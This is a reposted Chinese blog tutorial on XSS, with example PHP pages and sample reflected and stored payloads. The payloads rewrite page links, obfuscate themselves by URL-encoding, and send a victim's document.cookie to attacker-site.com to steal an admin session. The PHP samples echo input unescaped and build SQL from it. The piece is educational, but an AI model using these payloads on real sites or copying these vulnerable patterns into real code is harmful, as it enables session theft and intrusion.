注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

熊猫正正的博客

熊猫正正的天空

 
 
 

日志

 
 

xss攻击入门  

2014-10-30 13:16:00|  分类: web安全渗透 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |
原文:http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html

xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。

xss攻击可以分成两种类型:

  1. 非持久型攻击
  2. 持久型攻击

下面我们通过具体例子,了解两种类型xss攻击。

1.非持久型xss攻击

顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

假设有以下index.php页面:

  1.  
  2. <?php
  3. $name = $_GET['name'];
  4. echo "Welcome $name<br>";
  5. echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>";
  6. ?>
  7.  

该页面显示两行信息:

  • 从URI获取 ‘name’ 参数,并在页面显示
  • 显示跳转到一条URL的链接

这时,当攻击者给出以下URL链接:
index.php?name=guest<script>alert(‘attacked’)</script>

当用户点击该链接时,将产生以下html代码,带’attacked’的告警提示框弹出:

  1.  
  2. Welcome guest
  3. <script>alert('attacked')</script>
  4. <br>
  5. <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>
  6.  

除了插入alert代码,攻击者还可以通过以下URL实现修改链接的目的:

  1.  
  2. index.php?name=
  3. <script>
  4. window.onload = function() {
  5. var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
  6. </script>
  7.  

当用户点击以上攻击者提供的URL时,index.php页面被植入脚本,页面源码如下:

  1.  
  2. Welcome
  3. <script>
  4. window.onload = function() {
  5. var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}
  6. </script>
  7. <br>
  8. <a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>
  9.  

用户再点击 “Click to Download” 时,将跳转至攻击者提供的链接。

对于用于攻击的URL,攻击者一般不会直接使用以上可读形式,而是将其转换成ASCII码,以下URL同样用于实现链接地址变更:

  1.  
  2. index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e
  3.  

2.持久型xss攻击

持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。

session背景知识

我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。

这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。

攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。

现有以下login.php,其根据 user_name 在数据中查找相应的 pass_word,然后将用户提供的 password 与查数据库所得的 pass_word 进行比较,如果验证成功则创建对应于 user_name 的 session。

  1.  
  2. <?php
  3. $Host= '192.168.1.8';
  4. $Dbname= 'app';
  5. $User= 'yyy';
  6. $Password= 'xxx';
  7. $Schema = 'test';
  8.  
  9. $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
  10.  
  11. /* Connect with database asking for a new connection*/
  12. $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
  13.  
  14. /* Error checking the connection string */
  15. if (!$Connect) {
  16. echo "Database Connection Failure";
  17. exit;
  18. }
  19.  
  20. $query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";
  21.  
  22. $result=pg_query($Connect,$query);
  23. $row=pg_fetch_array($result,NULL,PGSQL_ASSOC);
  24.  
  25. $user_pass = md5($_POST['pass_word']);
  26. $user_name = $row['user_name'];
  27.  
  28. if(strcmp($user_pass,$row['password'])!=0) {
  29. echo "Login failed";
  30. }
  31. else {
  32. # Start the session
  33. session_start();
  34. $_SESSION['USER_NAME'] = $user_name;
  35. echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";
  36. }
  37. ?>
  38.  

另有以下home.php,其根据登入的用户是 admin 还是其他用户,显示不同内容,对于admin,其列出所有用户,对于其他用户,提供包含输入框的form,可在数据库中插入新的用户名信息。

  1.  
  2. &nbsp;
  3.  
  4. <?php
  5. session_start();
  6. if(!$_SESSION['USER_NAME']) {
  7. echo "Need to login";
  8. }
  9. else {
  10. $Host= '192.168.1.8';
  11. $Dbname= 'app';
  12. $User= 'yyy';
  13. $Password= 'xxx';
  14. $Schema = 'test';
  15. $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";
  16. $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);
  17. if($_SERVER['REQUEST_METHOD'] == "POST") {
  18. $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";
  19. pg_query($Connect,$query);
  20. echo "Update Success";
  21. }
  22. else {
  23. if(strcmp($_SESSION['USER_NAME'],'admin')==0) {
  24. echo "Welcome admin<br><hr>";
  25. echo "List of user's are<br>";
  26. $query = "select display_name from $Schema.members where user_name!='admin'";
  27. $res = pg_query($Connect,$query);
  28. while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {
  29. echo "$row[display_name]<br>";
  30. }
  31. }
  32. else {
  33. echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";
  34. echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";
  35. echo "<input type=\"submit\" value=\"Update\">";
  36. }
  37. }
  38. }
  39. ?>
  40.  

注意以上场景中,对 admin 和其他用户进行了不同的权限设置,admin可以看到所有用户列表,下面我们来看如何获取 admin 的session ID,从而使得其他用户也能获得 admin 的权限。

首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据:

  1.  

<a href=# onclick=\”document.location=\’http://attacker-site.com/xss.php?c=\’+escape\(document.cookie\)\;\”>bangerlee</a>

  1.  

攻击者提交了条带<a>标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 “bangerlee” 的用户列表将显示,如果 admin 用户点击 “bangerlee” 时,在 “attacker-site.com” 所在的服务器上,攻击者就可以窃取到 admin 的session-id:

  1.  

xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

[/htm]

有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。

当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss攻击的举例。

转载请注明:安全者 ? xss攻击入门

  评论这张
 
阅读(129)| 评论(0)
推荐 转载

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017